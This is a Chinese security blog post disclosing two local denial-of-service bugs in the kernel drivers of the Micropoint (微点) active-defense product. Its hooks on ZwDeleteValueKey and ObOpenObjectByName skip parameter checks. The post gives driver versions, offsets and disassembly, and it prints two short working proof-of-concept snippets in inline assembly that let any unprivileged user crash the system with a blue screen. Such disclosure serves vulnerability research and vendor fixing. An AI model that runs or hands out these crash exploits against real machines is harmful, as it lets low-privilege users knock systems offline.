微点主动防御(version20080924及以下)多个拒绝服务漏洞之二

作者:MJ0011

国庆的早晨啊~再多爆料几个有问题的函数~~

参考文一:http://hi.baidu.com/mj0011/blog/item/e9bcc4390265fbf53a87ceb8.html

除了文一提到的两个函数~微点的内核驱动中实际存在着大量这样的问题

再提两个函数,也省得微点的工程师累死累活的找了~学习雷锋啊好榜样~~

(1). 对ZwDeleteValueKey 的HOOK函数对用户态参数没有做检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

处理函数位于mp110009.sys, 版本:1.2.10045 ,CheckSum = 0xCC78 , TimeStamp = 0x48478FCF

偏移0x12f7处是对ZwDeleteValueKey的HOOK处理函数,该函数的原型是:

NTSTATUS
NtDeleteValueKey(
__in HANDLE KeyHandle,
__in PUNICODE_STRING ValueName
)

微点完全没有检查第二个参数 ValueName的有效性就在其代码偏移0x824处直接取该地址的数据,于是只要传给该参数 错误的地址,系统就会立即蓝屏

如下:微点的处理代码:

F8D39815:
mov eax, [ebp+SourceString]
test eax, eax
jz F8D398C0
and [ebp+ms_exc.disabled], 0
cmp word ptr [eax], 0 <—memory fault , check by kfuzz
jz short F8D39833

直接取到参数后判断了下是不是0就直接从内存取出UNICODE_STRING的Length域了

运行以下代码后,该版本微点同样立即蓝屏,这里就不给测试程序了~有兴趣的自己编译了看看

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwDeleteValueKey”);
__asm{

push 0x80000000
push 0
call p

}

(2).在对IoCreateFile->Call ObOpenObjectByName的inline hook中,完全未作参数检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

微点Hook了IoCreateFile -> IopCreateFile -> call ObOpenObjectByName,使用替换4字节地址指针的方式。

此时可爱的微点小朋友以为传递给ObOpenObjectByName的参数都已经是已经过内核校验过的了,因此自己不做任何检查,直接使用,甚至连结构化异常处理都不使用.

实际上对IoCreateFile的参数检查到ObOpenOpenByName中才刚刚开始~

结果就导致随便传入错误的参数给ZwCreateFile,就可以引发微点的蓝屏

出问题的模块是mp110011.sys,版本:1.2.10237 , checksum = 0x0002291a TimeStamp = 0x488944d9

在偏移0x45ca处即使替换ObOpenObjectByName的Hook函数。可以看到微点检查到其DesiredAccess 参数中包含了DELETE权限,就直接从第一个参数ObjectAttributes中取数据,完全不做任何检查。

利用代码,此代码运行后安装有微点的系统将立即蓝屏:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwCreateFile”);

HANDLE filehandle ;
IO_STATUS_BLOCK iosb ;

__asm{

PUSH 0
PUSH 0
push 0
push 1
push 0
push 0
push 0
lea eax , iosb
push eax
push 0 //ObjectAttributes set to Zero
push 0x10080 // bypass DELETE access check
lea eax ,filehandle
push eax
call p

}

此类BUG除了已经报出的4个外还有很多个~国庆无聊的话,会逐个爆出~敬请期待:D

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

发表评论